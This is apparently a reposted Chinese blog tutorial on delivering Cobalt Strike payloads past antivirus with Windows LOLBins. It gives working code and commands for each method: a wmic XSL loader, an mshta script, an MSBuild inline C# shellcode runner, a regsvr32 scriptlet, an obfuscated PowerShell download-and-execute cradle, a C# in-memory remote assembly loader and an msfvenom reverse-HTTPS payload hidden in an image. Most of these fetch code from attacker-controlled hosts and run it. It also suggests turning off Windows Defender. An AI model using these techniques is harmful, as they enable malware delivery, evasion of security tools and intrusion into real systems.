CS免杀上线方式

这篇具有很好参考价值的文章主要介绍了CS免杀上线方式。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

🌕写在前面

  • 🍊博客主页:Scorpio_m7
  • 🎉欢迎关注🔎点赞👍收藏⭐️留言📝
  • 🌟本文由 Scorpio_m7原创,CSDN首发!
  • 📆首发时间:🌹2022年1月28日🌹
  • ✉️坚持和努力一定能换来诗与远方!
  • 🙏作者水平很有限,如果发现错误,请留言轰炸哦!万分感谢感谢感谢!

Wmic

wmic是一款Microsoft工具,它提供一个wmi命令行界面,用于本地和远程计算机的各种管理功能,以及wmic查询,例如系统设置、停止进程和本地或远程运行脚本。因此,它可以调用XSL脚本来执行。可以通过xsl脚本来执行命令,脚本一般用jscript编写。先编写一个xsl脚本,然后放到VPS上,受害机执行下面命令会远程下载并执行xsl的内容。

C:\Users\Desktop>wmic os get /format:"http://172.21.66.218:8080/a.xsl"
<?xml version="1.0" encoding="UTF-16"?>0

通过安装AMSI_bypass.cna重启cs后attack->AMSI bypass Web Delivery(s)生成a.xsl,生成的代码大致逻辑如下

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
var binary = "rundll32.exe";
var code = "XXX";
function setversion() {
var shell = new ActiveXObject('WScript.Shell');
ver = 'v4.0.30319';
try {
shell.RegRead('HKLM\\SOFTWARE\\Microsoft\\.NETFramework\\v4.0.30319\\');
} catch(e) {
ver = 'v2.0.50727';
}
shell.Environment('Process')('COMPLUS_Version') = ver;
}
function debug(s) {}
function base64ToStream(b) {
var enc = new ActiveXObject("System.Text.ASCIIEncoding");
var length = enc.GetByteCount_2(b);
var ba = enc.GetBytes_4(b);
var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");
ba = transform.TransformFinalBlock(ba, 0, length);
var ms = new ActiveXObject("System.IO.MemoryStream");
ms.Write(ba, 0, (length / 4) * 3);
ms.Position = 0;
return ms;
}
function shellcode() {
var serialized_obj = "XXX";
var entry_class = 'cactusTorch';
try {
setversion();
var stm = base64ToStream(serialized_obj);
var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
var al = new ActiveXObject('System.Collections.ArrayList');
var n = fmt.SurrogateSelector;
var d = fmt.Deserialize_2(stm);
al.Add(n);
var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);
o.flame(binary,code);
} catch (e) {
debug(e.message);
}
return 0;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:shellcode()"/>
</xsl:template>
</xsl:stylesheet>

mshta

mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。可以使用Microsoft MSHTA.exe工具解析JavaScript或VBScript的HTML文件。

编写一个脚本,加载上面wmic讲的的a.xsl,为了没那么明显,后缀名改为png,mshta同样会把他当成hta文件解释运行。脚本可以通过AMSI_bypass.cna生成a.xsl时勾选use hta one liner

<HTML>
<HEAD>
</HEAD>
<BODY>
<script language="javascript" >
var xml = new ActiveXObject("Microsoft.XMLDOM");
xml.async = false;
var xsl = xml;
xsl.load("http://172.19.105.41:8080/a.xsl");
xml.transformNode(xsl);
self.close();
</script>
</body>
</html>

后面就跟wmic一样上线。

C:\Users\Desktop>mshta http://172.19.105.41:8080/a.png

MSBUILD

MSBuild是Microsoft Build Engine的缩写,代表Microsoft和Visual Studio的新的生成平台。MSBuild可在未安装Visual Studio的环境中编译.net的工程文件。MSBuild可编译特定格式的xml文件。windows下的msbuild命令可以执行内容为特定格式的文件。在.NET Framework 4.0中支持了一项新功能”Inline Tasks”,被包含在元素UsingTask中,可用来在xml文件中执行c#代码。参考:Use MSBuild To Do More

Xml的脚本,需要把executes shellcode.xml的shellcode改成cs的c#的payload,并且修改byte长度。

<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <!-- This inline task executes shellcode. -->
  <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
  <!-- Save This File And Execute The Above Command -->
  <!-- Author: Casey Smith, Twitter: @subTee --> 
  <!-- License: BSD 3-Clause -->
  <Target Name="Hello">
    <ClassExample />
  </Target>
  <UsingTask
    TaskName="ClassExample"
    TaskFactory="CodeTaskFactory"
    AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
    <Task>
      <Code Type="Class" Language="cs">
      <![CDATA[
        using System;
        using System.Runtime.InteropServices;
        using Microsoft.Build.Framework;
        using Microsoft.Build.Utilities;
        public class ClassExample :  Task, ITask{         
          private static UInt32 MEM_COMMIT = 0x1000;          
          private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
          [DllImport("kernel32")]
            private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
            UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
          [DllImport("kernel32")]
            private static extern IntPtr CreateThread(            
            UInt32 lpThreadAttributes,
            UInt32 dwStackSize,
            UInt32 lpStartAddress,
            IntPtr param,
            UInt32 dwCreationFlags,
            ref UInt32 lpThreadId           
            );
          [DllImport("kernel32")]
            private static extern UInt32 WaitForSingleObject(           
            IntPtr hHandle,
            UInt32 dwMilliseconds
            );          
          public override bool Execute(){
              byte[] shellcode  = new byte[XXX] { c# shellcode };//修改这里
              UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
              Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
              IntPtr hThread = IntPtr.Zero;
              UInt32 threadId = 0;
              IntPtr pinfo = IntPtr.Zero;
              hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
              WaitForSingleObject(hThread, 0xFFFFFFFF);
              return true;
          } 
        }     
      ]]>
      </Code>
    </Task>
  </UsingTask>
</Project>

使用msbuild命令必须在指定的文件夹下,版本必须得是4.0。关闭Windows Defender运行32位MSBuild命令

C:\Windows\Microsoft.NET\Framework\v4.0.30319>MSBuild "C:\Users\Desktop\executes shellcode.xml"
Microsoft(R) 生成引擎版本 4.7.2046.0
[Microsoft .NET Framework 版本 4.0.30319.42000]
版权所有 (C) Microsoft Corporation。保留所有权利。

生成启动时间为 2022/1/24 22:42:43。

regsvr32

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。

  • /u 取消注册
  • /s 指定 regsvr32 安静运行,在成功注册/反注册DLL文件的前提下不显示结果提示框。
  • /n 指定不调用 DllRegisterServer。此选项必须与 /i 共同使用。
  • /i:cmdline 调用 DllInstall 将它传递到可选的 [cmdline]。
C:\Users>regsvr32 /u /n /s /i:http://192.168.211.1/a.png scrobj.dll

后面的dll文件名不能更改。这个文件可以是任意后缀名,文件内容格式得是xml格式的:

<?XML version="1.0"?>
<scriptlet>
<registration         
progid="Pentest"       
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[   
var r = new ActiveXObject("WScript.Shell").Run("cmd /k whoami"); 
]]>
</script>
</registration>
</scriptlet>

POWSHELL

本地执行powershell

powershell.exe -ExecutionPolicy Bypass -file rgb.ps1

远程加载脚本并进行参数的混淆。

powershell.exe -nop -w hidden -c "$c1='IEX(New-Object Net.WebClient).123'.Replace('123','Downlo');$c2='adString(''httaaa.101.120:80/a'')'.Replace('aaa','p://172.19');IEX ($c1+$c2)"

powershell是一个exe程序,可以执行自己的命令或者powershell脚本。其实powershell的本质就是解释器,类似于python。python解释器通过解释了python脚本来调用操作系统给予的各种底层函数;powershell通过解释powershell脚本,来调用System.Management.Automation.dll。

System.Management.Automation是.NET 框架下的一个assembly类。而c#语言可以将所谓的c#“脚本”解释后来调用.NET框架下所有的assembly。因此我们可以用c#实现powershell的功能。这在当powershell被某些策略禁用的时候十分好用。

assembly类可以加载byte[]类型的数据到内存中并当作一个assembly文件去执行。assembly文件就是c#写的dll文件与exe文件。然而还有函数可以将远程的exe文件下载到本地并用byte[]格式去保存。

这两个方式结合后就可以实现下载远程c#文件到内存中直接执行,可以绕过绝大多数杀软。

using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using System;
using System.IO;
using System.Net;
using System.Linq;
using System.Reflection;

namespace demo1{
    class Program{
        static void Main(string[] args){
            string fileDownloadurl = null;
            string filedownloadtype = null;
            byte[] filebuffer = null;
            try{
                fileDownloadurl = args[1];
                filedownloadtype = args[0];
            }
            catch{
                Console.WriteLine("\n加载远程exe文件到内存执行:sflcsharp.exe -b exe文件的url");
                Console.WriteLine("\n加载远程base64密文文件到内存执行:为sflcsharp.exe -b64 b64文件的url");
                Environment.Exit(0);
            }
            if (filedownloadtype == "-b"){
                filebuffer = Downloadbinarypefilebyhttp(fileDownloadurl);
            }
            if (filedownloadtype == "-b64"){
                filebuffer = downloadbase64(fileDownloadurl);
            }
            if (filebuffer != null){
                Console.WriteLine("正在将下载下来的程序加载到当前用户的内存中");
                Assembly assemblyinstance = Assembly.Load(filebuffer);  //将下载下来的程序加载到当前用户的内存中
                Console.WriteLine("正在寻找程序入口点并执行程序");
                assemblyinstance.EntryPoint.Invoke(null,new object[] { null}); //找到程序的入口点并执行程序
                Console.WriteLine("\n程序执行完毕");
            }
        }
        public static byte[] Downloadbinarypefilebyhttp(string url){
            Console.WriteLine("\n创建WebClient类用来下载PE文件");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            Console.WriteLine("\n下载文件后自动保存为byte[]格式\n");
            byte[] test = downloadwebclient.DownloadData(url);
            return test;
        }
        public static byte[] downloadbase64(string url){
            Console.WriteLine("\n创建WebClient类用来下载base64密文文件,下载到的数据按照字符串格式保存在内存");
            WebClient downloadwebclient = new WebClient();  //这个类可以从指定url上下载或者上传数据
            string b64 = downloadwebclient.DownloadString(url);
            Console.WriteLine("将base64字符串转换为byte[]类型的数据");
            byte[] test = Convert.FromBase64String(b64);
            return test;
        }
    }
}

通过工具下载远程文件到内存中直接执行

C:\Users\root\Desktop>sflcsharp.exe -b http://192.168.211.1/artifact.exe

RGB隐写上线

使用嵌入方法,每个像素中2个颜色值的最低有效4位用于保存有效负载。

  1. 使用cs生成payload.ps1或者适用msf生成

    root@kali:~/# msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.253.8 LPORT=5555 -f psh-reflection > payload.ps1
    
  2. 受害机器上设置执行策略

    PS C:\Users\root\Desktop\Invoke-PSImage-master> Set-ExecutionPolicy Unrestricted -Scope CurrentUser
    
  3. 导入Invoke-PSImage.ps1文件

    PS C:\Users\root\Desktop\Invoke-PSImage-master> Import-Module .\Invoke-PSImage.ps1
    
  4. 生成 shellcode 的图片和上线命令

    PS C:\Users\root\Desktop\Invoke-PSImage-master> Invoke-PSImage -Script .\payload.ps1 -Out .\evil.png -Image .\1.png -Web
    sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://example.com/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
    
  5. 把这个图片上传到服务器,并修改代码的ip执行就可以上线。文章来源地址https://www.toymoban.com/news/detail-469886.html

    PS C:\Users\root\Desktop\Invoke-PSImage-master> sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://192.168.211.1/evil.png"));$o=a Byte[] 3780;(0..14)|%{foreach($x in(0..251)){$p=$g.GetPixel($x,$_);$o[$_*252+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3538]))
    

到了这里,关于CS免杀上线方式的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 利用蚁剑钓鱼上线CS

    中国蚁剑使用Electron构建客户端软件,Electron实现上用的是Node.js,并且Node.js能执行系统命令,故可以利用蚁剑的webshell页面嵌入js来直接执行命令,进而钓鱼来上线CS。(类似Goby,Goby也是使用Electron构建客户端软件) 蚁剑在虚拟终端时,页面上出现http/https协议头时会发生转换

    2024年02月03日
    浏览(28)
  • 一次cs上线服务器的练习

    环境:利用vm搭建的环境 仅主机为65段 测试是否能与win10ping通 配置转发 配置好iis Kali访问测试 现在就用burp抓取winser的包 开启代理 使用默认的8080抓取成功 上线

    2024年02月06日
    浏览(50)
  • 关于Goby反制上线CS中的各种问题

    Goby作为新一代网络安全技术,通过为目标建立完整的资产数据库,实现快速的安全应急,日常为广大师傅提供了便捷的渗透体验。最近有观察到有关于某些蜜罐出现了Goby反制的指纹,顿时就起了兴趣进行研究Goby的反制,期间也遇到了很多网上没有答案的坑点,这里把遇到的

    2024年02月07日
    浏览(24)
  • 内网安全-隧道技术&SSH实现通信&DNS上线与通信&CS上线Linux主机

    内网安全-隧道技术SSH实现通信DNS上线与通信CS上线Linux主机 一、DNS隧道技术 DNS简介:DNS协议为应用层协议,区域传输时用tcp协议,域名解析时用udp协议 ###通过DNS隧道绕过防火墙,实现CS上线 实验背景:靶机防火墙封禁出站TCP协议 1、判断出网协议,若果可以ping通,可以利用

    2024年02月02日
    浏览(45)
  • 内网渗透-cobaltstrike之cs上线获取shell

    CobaltStrike是一款渗透测试神器,被业界人称为CS神器。CobaltStrike分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。 CobaltStrike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,windows exe 木马生成,windows dll 木马生成,java 木马

    2024年02月10日
    浏览(40)
  • 工具推荐之不出网环境下上线CS

    前言 在实战攻防演练中,我们经常会遇到目标不出网的情况,即便获取了目标权限也不方便在目标网络进行下一步横向移动。本期我们将会推荐两个常用的代理工具,使我们能在不出网的环境下让目标上线到CS,方便后渗透的工作。 工具1:DReverseServer 工具链接: https://gith

    2024年02月14日
    浏览(36)
  • CS_Smb_Beacon上线不出网机器

    当我们想上线不出网的机器的时候,我们可以通过上传工具来实现, 但是有没有不用上传工具的方法呢 ??? 有!!! 而且cs会自带!!!    以下就是今天的实验拓扑 Beacon 是 Cobalt Strike 中的 一个组件 ,它是一个 轻量级的恶意软件代理 , 用于与攻击者的控制服务器通信

    2024年02月22日
    浏览(30)
  • 【内网安全-CS】Cobalt Strike启动运行&上线方法&插件

      博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书等。 擅长:对

    2023年04月08日
    浏览(26)
  • 内网安全-代理Socks协议&CS-MSF控制上线

    目录 实验前提 实验环境 实验目标 环境部署 实验1 msf通信win10的56网段与正向连接  msf通信win10 msf上线win10 实验2 cs通信win10的56网段与正向连接 cs通信win10 cs上线win10   实验环境 本地计算机存在一个36网段可以与win7ping通并且可以上网。 win7存在36和52网段,可以与本地和win10p

    2024年02月16日
    浏览(28)
  • 遮天 | 实战绕过卡巴斯基、Defender上线CS和MSF及动态命令执行...

    #  zTian.red: 绕过卡巴 斯基、360安全卫士、Windows Defender动态执行CS、MSF命令... 测试目标:Windows Defender、卡巴斯基、360安全卫士极速版 系统环境:win10 64位    软件版本:cs4.7破解版、msf社区免费版  流量通信:http与https 测试平台:遮天对抗平台,地址:zTian.red 测试时间:

    2023年04月08日
    浏览(38)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包